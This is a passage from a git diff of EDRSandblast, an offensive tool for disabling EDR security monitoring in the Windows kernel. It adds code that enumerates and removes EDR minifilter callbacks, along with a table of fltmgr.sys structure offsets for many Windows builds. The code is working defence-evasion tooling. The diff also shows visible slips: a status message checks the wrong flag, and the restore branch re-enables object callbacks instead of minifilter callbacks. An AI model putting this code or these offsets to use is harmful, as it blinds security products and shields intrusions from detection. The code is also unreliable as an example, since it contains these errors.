+ foundMinifilterCallbacks = EnumEDRMinifilterCallbacks(foundEDRDrivers, verbose);
+ if (ctx && foundMinifilterCallbacks) {
+ ctx->foundMinifilterCallbacks = TRUE;
+ }
+ if (ctx) {
+ _tprintf_or_not(TEXT("[+] EDR minifilter callbacks are %s !\n"), ctx->foundObjectCallbacks ? TEXT("present") : TEXT("not found"));
}
if (ctx) {
@@ -343,7 +356,7 @@ EDRSB_STATUS Krnlmode_EnumAllMonitoring(_In_opt_ EDRSB_CONTEXT* ctx) {
ctx->krnlmodeMonitoringEnumDone = TRUE;
}
- if (foundNotifyRoutineCallbacks || foundObjectsCallbacks || isETWTICurrentlyEnabled) {
+ if (foundNotifyRoutineCallbacks || foundObjectsCallbacks || foundMinifilterCallbacks || isETWTICurrentlyEnabled) {
status = EDRSB_KNRL_MONITORING;
}
else {
@@ -380,6 +393,11 @@ EDRSB_STATUS Krnlmode_RemoveAllMonitoring(_In_ EDRSB_CONTEXT* ctx) {
DisableEDRProcessAndThreadObjectsCallbacks(ctx->foundEDRDrivers);
}
+ if (ctx->foundMinifilterCallbacks) {
+ _putts_or_not(TEXT("[+] Disabling minifilter callbacks registered by EDR to monitor I/O operations..."));
+ RemoveEDRMinifilterCallbacks(ctx->foundEDRDrivers);
+ }
+
if (ctx->isETWTICurrentlyEnabled) {
DisableETWThreatIntelProvider(ctx->config->verbose);
ctx->isETWTICurrentlyEnabled = FALSE;
@@ -405,6 +423,11 @@ EDRSB_STATUS Krnlmode_RestoreAllMonitoring(_In_ EDRSB_CONTEXT* ctx) {
EnableEDRProcessAndThreadObjectsCallbacks(ctx->foundEDRDrivers);
}
+ if (!ctx->config->actions.DontRestoreCallBacks && ctx->foundMinifilterCallbacks) {
+ _putts_or_not(TEXT("[+] Restoring EDR's minifilter callbacks..."));
+ EnableEDRProcessAndThreadObjectsCallbacks(ctx->foundEDRDrivers);
+ }
+
// Renable the ETW Threat Intel provider.
if (!ctx->config->actions.DontRestoreETWTI && ctx->isETWTISystemEnabled) {
EnableETWThreatIntelProvider(ctx->config->verbose);
diff --git a/EDRSandblast_StaticLibrary/EDRSandblast_API.h b/EDRSandblast_StaticLibrary/EDRSandblast_API.h
index 7960347..a626f80 100644
--- a/EDRSandblast_StaticLibrary/EDRSandblast_API.h
+++ b/EDRSandblast_StaticLibrary/EDRSandblast_API.h
@@ -17,6 +17,7 @@ typedef struct EDRSB_CONTEXT_t {
BOOL krnlmodeMonitoringEnumDone;
BOOL foundNotifyRoutineCallbacks;
BOOL foundObjectCallbacks;
+ BOOL foundMinifilterCallbacks;
struct FOUND_EDR_CALLBACKS* foundEDRDrivers;
BOOL isETWTISystemEnabled;
BOOL isETWTICurrentlyEnabled;
@@ -112,6 +113,12 @@ typedef struct EDRSB_CONFIG_t {
*/
LPWSTR kernelOffsetFilePath; //TODO : unifier les offsets dans un seul fichier (un json ?) pour �viter de demander � l'utilisateur de passer plusieurs fichiers
+ /*
+ * Path of the CSV file that contains the needed offsets for minifilter enum and bypass
+ * If NULL, tries to load FltmgrOffsets.csv
+ * If empty string, disable FltmgrOffsets.csv loading (relies on symbol download every time)
+ */
+ LPWSTR fltmgrOffsetFilePath;
/*
* Path of the CSV file that contains the needed offsets for credential guard related operations
* If NULL, tries to load WdigestOffsets.csv
diff --git a/Offsets/ExtractOffsets.py b/Offsets/ExtractOffsets.py
index 7621fef..c0f535a 100644
--- a/Offsets/ExtractOffsets.py
+++ b/Offsets/ExtractOffsets.py
@@ -17,7 +17,7 @@ THREADS_LIMIT = None
CSVLock = threading.Lock()
machineType = dict(x86=332, x64=34404)
-supported_images = ["ntoskrnl.exe", "wdigest.dll", "ci.dll"]
+supported_images = ["ntoskrnl.exe", "wdigest.dll", "ci.dll", "fltmgr.sys"]
modes = [image_name.split(".")[0] for image_name in supported_images]
extensions_by_mode = dict(image_name.split(".") for image_name in supported_images)
known_image_versions = {mode: list() for mode in modes}
@@ -46,6 +46,19 @@ symbols = dict(
("g_CiOptions", "symbol"),
("CiValidateImageHeader", "symbol"),
],
+ fltmgr=[
+ ("FltGlobals", "symbol"),
+ ("_GLOBALS", "FrameList", "field"),
+ ("_FLT_RESOURCE_LIST_HEAD", "rList", "field"),
+ ("_FLTP_FRAME", "Links", "field"),
+ ("_FLTP_FRAME", "RegisteredFilters", "field"),
+ ("_FLT_OBJECT", "PrimaryLink", "field"),
+ ("_FLT_FILTER", "DriverObject", "field"),
+ ("_FLT_FILTER", "InstanceList", "field"),
+ ("_DRIVER_OBJECT", "DriverInit", "field"),
+ ("_FLT_INSTANCE", "CallbackNodes", "field"),
+ ("_FLT_INSTANCE", "FilterLink", "field"),
+ ],
)
symbols_names = {mode: [t[0] if t[-1] == "symbol" else f"{t[0]}_{t[1]}" for t in symbols[mode]] for mode in modes}
diff --git a/Offsets/FltmgrOffsets.csv b/Offsets/FltmgrOffsets.csv
new file mode 100644
index 0000000..fd3842c
--- /dev/null
+++ b/Offsets/FltmgrOffsets.csv
@@ -0,0 +1,90 @@
+fltmgrVersion,FltGlobals,_GLOBALS_FrameList,_FLT_RESOURCE_LIST_HEAD_rList,_FLTP_FRAME_Links,_FLTP_FRAME_RegisteredFilters,_FLT_OBJECT_PrimaryLink,_FLT_FILTER_DriverObject,_FLT_FILTER_InstanceList,_DRIVER_OBJECT_DriverInit,_FLT_INSTANCE_CallbackNodes,_FLT_INSTANCE_FilterLink
+fltmgr_10240-16384.sys,254c0,58,68,8,48,10,60,68,58,a0,70
+fltmgr_10240-18967.sys,254c0,58,68,8,48,10,60,68,58,a0,70
+fltmgr_10240-19983.sys,254c0,58,68,8,48,10,60,68,58,a0,70
+fltmgr_10586-0.sys,25500,58,68,8,48,10,60,68,58,a0,70
+fltmgr_14393-0.sys,25500,58,68,8,48,10,60,68,58,a0,70
+fltmgr_14393-2879.sys,25500,58,68,8,48,10,60,68,58,a0,70
+fltmgr_14393-3297.sys,25500,58,68,8,48,10,60,68,58,a0,70
+fltmgr_14393-3659.sys,25500,58,68,8,48,10,60,68,58,a0,70
+fltmgr_14393-4467.sys,25500,58,68,8,48,10,60,68,58,a0,70
+fltmgr_14393-4583.sys,25500,58,68,8,48,10,60,68,58,a0,70
+fltmgr_14393-4946.sys,25500,58,68,8,48,10,60,68,58,a0,70
+fltmgr_14393-5127.sys,25500,58,68,8,48,10,60,68,58,a0,70
+fltmgr_14393-5192.sys,25500,58,68,8,48,10,60,68,58,a0,70
+fltmgr_15063-0.sys,27500,58,68,8,48,10,60,68,58,a0,70
+fltmgr_15063-413.sys,27500,58,68,8,48,10,60,68,58,a0,70
+fltmgr_15063-850.sys,27500,58,68,8,48,10,60,68,58,a0,70
+fltmgr_15063-2161.sys,27500,58,68,8,48,10,60,68,58,a0,70
+fltmgr_16299-15.sys,28540,58,68,8,48,10,60,68,58,a0,70
+fltmgr_16299-98.sys,28540,58,68,8,48,10,60,68,58,a0,70
+fltmgr_16299-99.sys,28540,58,68,8,48,10,60,68,58,a0,70
+fltmgr_16299-192.sys,28540,58,68,8,48,10,60,68,58,a0,70
+fltmgr_16299-371.sys,28540,58,68,8,48,10,60,68,58,a0,70
+fltmgr_16299-402.sys,28540,58,68,8,48,10,60,68,58,a0,70
+fltmgr_16299-1480.sys,28540,58,68,8,48,10,60,68,58,a0,70
+fltmgr_16299-1868.sys,27540,58,68,8,48,10,60,68,58,a0,70
+fltmgr_16299-2401.sys,27540,58,68,8,48,10,60,68,58,a0,70
+fltmgr_16299-10000.sys,28540,58,68,8,48,10,60,68,58,a0,70
+fltmgr_17134-1.sys,29540,58,68,8,48,10,60,68,58,a0,70
+fltmgr_17134-228.sys,29540,58,68,8,48,10,60,68,58,a0,70
+fltmgr_17134-1098.sys,29540,58,68,8,48,10,60,68,58,a0,70
+fltmgr_17134-1365.sys,29540,58,68,8,48,10,60,68,58,a0,70
+fltmgr_17134-1456.sys,29540,58,68,8,48,10,60,68,58,a0,70
+fltmgr_17763-1.sys,2a540,58,68,8,48,10,60,68,58,a0,70
+fltmgr_17763-379.sys,2a540,58,68,8,48,10,60,68,58,a0,70
+fltmgr_17763-592.sys,2a540,58,68,8,48,10,60,68,58,a0,70
+fltmgr_17763-831.sys,2a540,58,68,8,48,10,60,68,58,a0,70
+fltmgr_17763-1999.sys,2a540,58,68,8,48,10,60,68,58,a0,70
+fltmgr_17763-2028.sys,2a540,58,68,8,48,10,60,68,58,a0,70
+fltmgr_17763-2061.sys,2a540,58,68,8,48,10,60,68,58,a0,70
+fltmgr_17763-2090.sys,2a540,58,68,8,48,10,60,68,58,a0,70
+fltmgr_17763-2510.sys,2a540,58,68,8,48,10,60,68,58,a0,70
+fltmgr_17763-4492.sys,2a540,58,68,8,48,10,60,68,58,a0,70
+fltmgr_17763-4644.sys,2a540,58,68,8,48,10,60,68,58,a0,70
+fltmgr_17763-4720.sys,2a540,58,68,8,48,10,60,68,58,a0,70
+fltmgr_17763-5122.sys,2a540,58,68,8,48,10,60,68,58,a0,70
+fltmgr_17763-10576.sys,2a540,58,68,8,48,10,60,68,58,a0,70
+fltmgr_18362-1.sys,2a580,58,68,8,48,10,60,68,58,a0,70
+fltmgr_18362-267.sys,2a580,58,68,8,48,10,60,68,58,a0,70
+fltmgr_18362-1110.sys,2a580,58,68,8,48,10,60,68,58,a0,70
+fltmgr_18362-1216.sys,2a580,58,68,8,48,10,60,68,58,a0,70
+fltmgr_18362-1645.sys,2a580,58,68,8,48,10,60,68,58,a0,70
+fltmgr_18362-1714.sys,2a580,58,68,8,48,10,60,68,58,a0,70
+fltmgr_18362-2337.sys,2a580,58,68,8,48,10,60,68,58,a0,70
+fltmgr_19041-264.sys,2b600,58,68,8,48,10,60,68,58,a0,70
+fltmgr_19041-1151.sys,2b600,58,68,8,48,10,60,68,58,a0,70
+fltmgr_19041-1165.sys,2b600,58,68,8,48,10,60,68,58,a0,70
+fltmgr_19041-1503.sys,2a600,58,68,8,48,10,60,68,58,a0,70
+fltmgr_19041-1526.sys,2a600,58,68,8,48,10,60,68,58,a0,70
+fltmgr_19041-1682.sys,2b600,58,68,8,48,10,60,68,58,a0,70
+fltmgr_19041-1767.sys,2b600,58,68,8,48,10,60,68,58,a0,70
+fltmgr_19041-1806.sys,29600,58,68,8,48,10,60,68,58,a0,70
+fltmgr_19041-2728.sys,29600,58,68,8,48,10,60,68,58,a0,70
+fltmgr_19041-2788.sys,29600,58,68,8,48,10,60,68,58,a0,70
+fltmgr_19041-3086.sys,29600,58,68,8,48,10,60,68,58,a0,70
+fltmgr_19041-3205.sys,29600,58,68,8,48,10,60,68,58,a0,70
+fltmgr_19041-3570.sys,29600,58,68,8,48,10,60,68,58,a0,70
+fltmgr_19041-3636.sys,29600,58,68,8,48,10,60,68,58,a0,70
+fltmgr_19041-3684.sys,29600,58,68,8,48,10,60,68,58,a0,70
+fltmgr_21390-1.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
+fltmgr_22000-1.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
+fltmgr_22000-469.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
+fltmgr_22000-527.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
+fltmgr_22000-778.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
+fltmgr_22000-1098.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
+fltmgr_22000-1165.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
+fltmgr_22000-1219.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
+fltmgr_22000-1281.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
+fltmgr_22000-1696.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
+fltmgr_22000-1761.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
+fltmgr_22000-2124.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
+fltmgr_22000-2592.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
+fltmgr_22000-2600.sys,2b6c0,58,68,8,48,10,60,68,58,a8,70
+fltmgr_22621-4.sys,2c700,58,68,8,48,10,60,68,58,a8,70
+fltmgr_22621-608.sys,2c700,58,68,8,48,10,60,68,58,a8,70
+fltmgr_22621-1690.sys,2c700,58,68,8,48,10,60,68,58,a8,70
+fltmgr_22621-2361.sys,2e700,58,68,8,48,10,60,68,58,a8,70
+fltmgr_22621-2415.sys,2e700,58,68,8,48,10,60,68,58,a8,70
+fltmgr_22621-2506.sys,2e700,58,68,8,48,10,60,68,58,a8,70
+fltmgr_22621-2771.sys,2e700,58,68,8,48,10,60,68,58,a8,70